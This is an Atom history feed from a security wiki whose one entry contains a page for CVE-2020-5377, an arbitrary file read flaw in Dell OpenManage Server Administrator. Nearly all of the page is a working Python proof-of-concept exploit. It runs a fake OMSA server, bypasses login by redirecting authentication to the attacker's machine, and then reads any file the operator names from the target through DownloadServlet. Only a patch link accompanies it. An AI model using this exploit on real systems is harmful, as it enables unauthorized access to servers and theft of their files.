<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-5377_%E6%88%B4%E7%88%BEOMSA%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2020-5377 戴爾OMSA文件讀取漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-5377_%E6%88%B4%E7%88%BEOMSA%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-5377_%E6%88%B4%E7%88%BEOMSA%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T01:49:26Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-5377_%E6%88%B4%E7%88%BEOMSA%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E&amp;diff=997&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==POC== &lt;pre&gt; # This is a proof of concept for CVE-2020-5377, an arbitrary file read in Dell OpenManage Administrator # Proof of concept written by: David Yesland @daveysec wi...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-5377_%E6%88%B4%E7%88%BEOMSA%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E&amp;diff=997&amp;oldid=prev"/>
		<updated>2021-04-05T07:49:02Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==POC== &amp;lt;pre&amp;gt; # This is a proof of concept for CVE-2020-5377, an arbitrary file read in Dell OpenManage Administrator # Proof of concept written by: David Yesland @daveysec wi...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# This is a proof of concept for CVE-2020-5377, an arbitrary file read in Dell OpenManage Administrator&lt;br /&gt;
# Proof of concept written by: David Yesland @daveysec with Rhino Security Labs&lt;br /&gt;
# More information can be found here: &lt;br /&gt;
# A patch for this issue can be found here: &lt;br /&gt;
# https://www.dell.com/support/article/en-us/sln322304/dsa-2020-172-dell-emc-openmanage-server-administrator-omsa-path-traversal-vulnerability&lt;br /&gt;
&lt;br /&gt;
from xml.sax.saxutils import escape&lt;br /&gt;
import BaseHTTPServer&lt;br /&gt;
import requests&lt;br /&gt;
import thread&lt;br /&gt;
import ssl&lt;br /&gt;
import sys&lt;br /&gt;
import re&lt;br /&gt;
import os&lt;br /&gt;
&lt;br /&gt;
import urllib3&lt;br /&gt;
urllib3.disable_warnings()&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) &amp;lt; 3:&lt;br /&gt;
	print 'Usage python auth_bypass.py &amp;lt;yourIP&amp;gt; &amp;lt;targetIP&amp;gt;:&amp;lt;targetPort&amp;gt;'&lt;br /&gt;
	exit()&lt;br /&gt;
&lt;br /&gt;
#This XML to imitate a Dell OMSA remote system comes from https://www.exploit-db.com/exploits/39909&lt;br /&gt;
#Also check out https://github.com/hantwister/FakeDellOM&lt;br /&gt;
class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):&lt;br /&gt;
	def do_POST(s):&lt;br /&gt;
		data = ''&lt;br /&gt;
		content_len = int(s.headers.getheader('content-length', 0))&lt;br /&gt;
		post_body = s.rfile.read(content_len)&lt;br /&gt;
		s.send_response(200)&lt;br /&gt;
		s.send_header(&amp;quot;Content-type&amp;quot;, &amp;quot;application/soap+xml;charset=UTF-8&amp;quot;)&lt;br /&gt;
		s.end_headers()&lt;br /&gt;
		if &amp;quot;__00omacmd=getuserrightsonly&amp;quot; in post_body:&lt;br /&gt;
			data = escape(&amp;quot;&amp;lt;SMStatus&amp;gt;0&amp;lt;/SMStatus&amp;gt;&amp;lt;UserRightsMask&amp;gt;458759&amp;lt;/UserRightsMask&amp;gt;&amp;quot;)&lt;br /&gt;
		if &amp;quot;__00omacmd=getaboutinfo &amp;quot; in post_body:&lt;br /&gt;
			data = escape(&amp;quot;&amp;lt;ProductVersion&amp;gt;6.0.3&amp;lt;/ProductVersion&amp;gt;&amp;quot;)&lt;br /&gt;
		if data:&lt;br /&gt;
			requid = re.findall('&amp;gt;uuid:(.*?)&amp;lt;',post_body)[0]&lt;br /&gt;
			s.wfile.write('''&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
							&amp;lt;s:Envelope xmlns:s=&amp;quot;http://www.w3.org/2003/05/soap-envelope&amp;quot; xmlns:wsa=&amp;quot;http://schemas.xmlsoap.org/ws/2004/08/addressing&amp;quot; xmlns:wsman=&amp;quot;http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd&amp;quot; xmlns:n1=&amp;quot;http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule&amp;quot;&amp;gt;&lt;br /&gt;
							  &amp;lt;s:Header&amp;gt;&lt;br /&gt;
							    &amp;lt;wsa:To&amp;gt;http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous&amp;lt;/wsa:To&amp;gt;&lt;br /&gt;
							    &amp;lt;wsa:RelatesTo&amp;gt;uuid:'''+requid+'''&amp;lt;/wsa:RelatesTo&amp;gt;&lt;br /&gt;
							    &amp;lt;wsa:MessageID&amp;gt;0d70cce2-05b9-45bb-b219-4fb81efba639&amp;lt;/wsa:MessageID&amp;gt;&lt;br /&gt;
							  &amp;lt;/s:Header&amp;gt;&lt;br /&gt;
							  &amp;lt;s:Body&amp;gt;&lt;br /&gt;
							    &amp;lt;n1:SendCmd_OUTPUT&amp;gt;&lt;br /&gt;
							      &amp;lt;n1:ResultCode&amp;gt;0&amp;lt;/n1:ResultCode&amp;gt;&lt;br /&gt;
							      &amp;lt;n1:ReturnValue&amp;gt;'''+data+'''&amp;lt;/n1:ReturnValue&amp;gt;&lt;br /&gt;
							    &amp;lt;/n1:SendCmd_OUTPUT&amp;gt;&lt;br /&gt;
							  &amp;lt;/s:Body&amp;gt;&lt;br /&gt;
							&amp;lt;/s:Envelope&amp;gt;''')&lt;br /&gt;
&lt;br /&gt;
		else:&lt;br /&gt;
			s.wfile.write('''&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&amp;lt;s:Envelope xmlns:s=&amp;quot;http://www.w3.org/2003/05/soap-envelope&amp;quot; xmlns:wsmid=&amp;quot;http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd&amp;quot;&amp;gt;&amp;lt;s:Header/&amp;gt;&amp;lt;s:Body&amp;gt;&amp;lt;wsmid:IdentifyResponse&amp;gt;&amp;lt;wsmid:ProtocolVersion&amp;gt;http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd&amp;lt;/wsmid:ProtocolVersion&amp;gt;&amp;lt;wsmid:ProductVendor&amp;gt;Fake Dell Open Manage Server Node&amp;lt;/wsmid:ProductVendor&amp;gt;&amp;lt;wsmid:ProductVersion&amp;gt;1.0&amp;lt;/wsmid:ProductVersion&amp;gt;&amp;lt;/wsmid:IdentifyResponse&amp;gt;&amp;lt;/s:Body&amp;gt;&amp;lt;/s:Envelope&amp;gt;''')&lt;br /&gt;
&lt;br /&gt;
	def log_message(self, format, *args):&lt;br /&gt;
		return&lt;br /&gt;
&lt;br /&gt;
createdCert = False&lt;br /&gt;
if not os.path.isfile('./server.pem'):&lt;br /&gt;
	print '[-] No server.pem certifcate file found. Generating one...'&lt;br /&gt;
	os.system('openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes -subj &amp;quot;/C=NO/ST=NONE/L=NONE/O=NONE/OU=NONE/CN=NONE.com&amp;quot;')&lt;br /&gt;
	createdCert = True&lt;br /&gt;
&lt;br /&gt;
def startServer():&lt;br /&gt;
	server_class = BaseHTTPServer.HTTPServer&lt;br /&gt;
	httpd = httpd = server_class(('0.0.0.0', 443), MyHandler)&lt;br /&gt;
	httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)&lt;br /&gt;
	httpd.serve_forever()&lt;br /&gt;
&lt;br /&gt;
thread.start_new_thread(startServer,())&lt;br /&gt;
&lt;br /&gt;
myIP = sys.argv[1]&lt;br /&gt;
target = sys.argv[2]&lt;br /&gt;
&lt;br /&gt;
def bypassAuth():&lt;br /&gt;
	values = {}&lt;br /&gt;
	url = &amp;quot;https://{}/LoginServlet?flag=true&amp;amp;managedws=false&amp;quot;.format(target)&lt;br /&gt;
	data = {&amp;quot;manuallogin&amp;quot;: &amp;quot;true&amp;quot;, &amp;quot;targetmachine&amp;quot;: myIP, &amp;quot;user&amp;quot;: &amp;quot;VULNERABILITY:CVE-2020-5377&amp;quot;, &amp;quot;password&amp;quot;: &amp;quot;plz&amp;quot;, &amp;quot;application&amp;quot;: &amp;quot;omsa&amp;quot;, &amp;quot;ignorecertificate&amp;quot;: &amp;quot;1&amp;quot;}&lt;br /&gt;
	r = requests.post(url, data=data, verify=False, allow_redirects=False)&lt;br /&gt;
	cookieheader = r.headers['Set-Cookie']&lt;br /&gt;
	sessionid = re.findall('JSESSIONID=(.*?);',cookieheader)&lt;br /&gt;
	pathid = re.findall('Path=/(.*?);',cookieheader)&lt;br /&gt;
	values['sessionid'] = sessionid[0]&lt;br /&gt;
	values['pathid'] = pathid[0]&lt;br /&gt;
	return values&lt;br /&gt;
&lt;br /&gt;
ids = bypassAuth()&lt;br /&gt;
sessionid = ids['sessionid']&lt;br /&gt;
pathid = ids['pathid']&lt;br /&gt;
&lt;br /&gt;
print &amp;quot;Session: &amp;quot;+sessionid&lt;br /&gt;
print &amp;quot;VID: &amp;quot;+pathid&lt;br /&gt;
&lt;br /&gt;
def readFile(target,sessid,pathid):&lt;br /&gt;
    while True:&lt;br /&gt;
        file = raw_input('file &amp;gt; ')&lt;br /&gt;
        url = &amp;quot;https://{}/{}/DownloadServlet?help=Certificate&amp;amp;app=oma&amp;amp;vid={}&amp;amp;file={}&amp;quot;.format(target,pathid,pathid,file)&lt;br /&gt;
        cookies = {&amp;quot;JSESSIONID&amp;quot;: sessid}&lt;br /&gt;
        r = requests.get(url, cookies=cookies, verify=False)&lt;br /&gt;
        print 'Reading contents of {}:\n{}'.format(file,r.content)&lt;br /&gt;
&lt;br /&gt;
def getPath(path):&lt;br /&gt;
	if path.lower().startswith('c:\\'):&lt;br /&gt;
		path = path[2:]&lt;br /&gt;
        path = path.replace('\\','/')&lt;br /&gt;
        return path&lt;br /&gt;
&lt;br /&gt;
readFile(target,sessionid,pathid)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==GIF==&lt;br /&gt;
[[File:OpenManage.gif]]&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>